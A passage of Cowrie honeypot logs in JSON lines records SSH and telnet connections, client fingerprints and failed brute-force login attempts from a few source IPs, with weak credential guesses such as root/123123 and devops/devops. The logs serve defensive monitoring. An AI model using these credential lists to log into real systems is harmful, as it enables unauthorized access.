penssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:11.342411Z","src_ip":"176.65.132.129","session":"afc11e44bd2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:11.677461Z","src_ip":"176.65.132.129","session":"afc11e44bd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:12.763521Z","src_ip":"176.65.132.129","session":"afc11e44bd2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53312,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8bcd859c883","protocol":"ssh","message":"New connection: 176.65.132.129:53312 (159.203.135.109:22) [session: b8bcd859c883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:14.748766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:14.753642Z","src_ip":"176.65.132.129","session":"b8bcd859c883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:14.835826Z","src_ip":"176.65.132.129","session":"b8bcd859c883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zarghami","password":"123456","message":"login attempt [zarghami/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:15.084321Z","src_ip":"176.65.132.129","session":"b8bcd859c883","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:16.169702Z","src_ip":"176.65.132.129","session":"b8bcd859c883","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39662,"dst_ip":"10.17.0.5","dst_port":23,"session":"e568a5e37947","protocol":"telnet","message":"New connection: 152.42.224.71:39662 (10.17.0.5:23) [session: e568a5e37947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:16.622145Z"}
{"eventid":"cowrie.session.closed","duration":27.397168397903442,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:16.694243Z","src_ip":"152.42.224.71","session":"c21436b2f9be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39664,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ff2a75bc075","protocol":"telnet","message":"New connection: 152.42.224.71:39664 (10.17.0.5:23) [session: 4ff2a75bc075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:17.732636Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39672,"dst_ip":"10.17.0.5","dst_port":23,"session":"59679d02ad3c","protocol":"telnet","message":"New connection: 152.42.224.71:39672 (10.17.0.5:23) [session: 59679d02ad3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:17.785488Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49010,"dst_ip":"159.203.135.109","dst_port":22,"session":"074566dea570","protocol":"ssh","message":"New connection: 176.65.132.129:49010 (159.203.135.109:22) [session: 074566dea570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:18.096106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:18.100665Z","src_ip":"176.65.132.129","session":"074566dea570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:18.183840Z","src_ip":"176.65.132.129","session":"074566dea570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:18.467465Z","src_ip":"176.65.132.129","session":"074566dea570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:19.552656Z","src_ip":"176.65.132.129","session":"074566dea570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.121397018432617,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:20.942454Z","src_ip":"152.42.224.71","session":"90274c4e577b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49024,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c01e00ded4d","protocol":"ssh","message":"New connection: 176.65.132.129:49024 (159.203.135.109:22) [session: 8c01e00ded4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:21.400722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:21.405706Z","src_ip":"176.65.132.129","session":"8c01e00ded4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:21.522824Z","src_ip":"176.65.132.129","session":"8c01e00ded4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome123","message":"login attempt [root/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:21.769340Z","src_ip":"176.65.132.129","session":"8c01e00ded4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:22.855604Z","src_ip":"176.65.132.129","session":"8c01e00ded4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56932,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f047940290b","protocol":"ssh","message":"New connection: 194.113.233.25:56932 (159.203.135.109:22) [session: 1f047940290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:23.229606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:23.234510Z","src_ip":"194.113.233.25","session":"1f047940290b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:23.328647Z","src_ip":"194.113.233.25","session":"1f047940290b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qqq","message":"login attempt [root/12345qqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:23.613993Z","src_ip":"194.113.233.25","session":"1f047940290b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:24.712675Z","src_ip":"194.113.233.25","session":"1f047940290b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49028,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbfbb749b0aa","protocol":"ssh","message":"New connection: 176.65.132.129:49028 (159.203.135.109:22) [session: bbfbb749b0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:24.791410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:24.796462Z","src_ip":"176.65.132.129","session":"bbfbb749b0aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:24.879555Z","src_ip":"176.65.132.129","session":"bbfbb749b0aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:25.128803Z","src_ip":"176.65.132.129","session":"bbfbb749b0aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"adefadc20c4a","protocol":"telnet","message":"New connection: 152.42.224.71:39680 (10.17.0.5:23) [session: adefadc20c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:25.409684Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:26.213699Z","src_ip":"176.65.132.129","session":"bbfbb749b0aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51154,"dst_ip":"159.203.135.109","dst_port":22,"session":"47831474ab5f","protocol":"ssh","message":"New connection: 176.65.132.129:51154 (159.203.135.109:22) [session: 47831474ab5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:28.091885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:28.094843Z","src_ip":"176.65.132.129","session":"47831474ab5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:28.176944Z","src_ip":"176.65.132.129","session":"47831474ab5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:28.428923Z","src_ip":"176.65.132.129","session":"47831474ab5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.25556540489197,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:28.847172Z","src_ip":"152.42.224.71","session":"684de41b9e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:29.512879Z","src_ip":"176.65.132.129","session":"47831474ab5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58290,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cf8d7112a7","protocol":"telnet","message":"New connection: 152.42.224.71:58290 (10.17.0.5:23) [session: 56cf8d7112a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:30.439957Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51162,"dst_ip":"159.203.135.109","dst_port":22,"session":"57e38065b719","protocol":"ssh","message":"New connection: 176.65.132.129:51162 (159.203.135.109:22) [session: 57e38065b719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:31.337711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:31.342103Z","src_ip":"176.65.132.129","session":"57e38065b719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:31.424030Z","src_ip":"176.65.132.129","session":"57e38065b719","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:31.668882Z","src_ip":"176.65.132.129","session":"57e38065b719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:32.755666Z","src_ip":"176.65.132.129","session":"57e38065b719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.567142963409424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:32.986295Z","src_ip":"152.42.224.71","session":"f0fb2eb3ecca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58300,"dst_ip":"10.17.0.5","dst_port":23,"session":"090ae57fa96a","protocol":"telnet","message":"New connection: 152.42.224.71:58300 (10.17.0.5:23) [session: 090ae57fa96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:33.633866Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51174,"dst_ip":"159.203.135.109","dst_port":22,"session":"65442c8af3a4","protocol":"ssh","message":"New connection: 176.65.132.129:51174 (159.203.135.109:22) [session: 65442c8af3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:32:34.626650Z"}
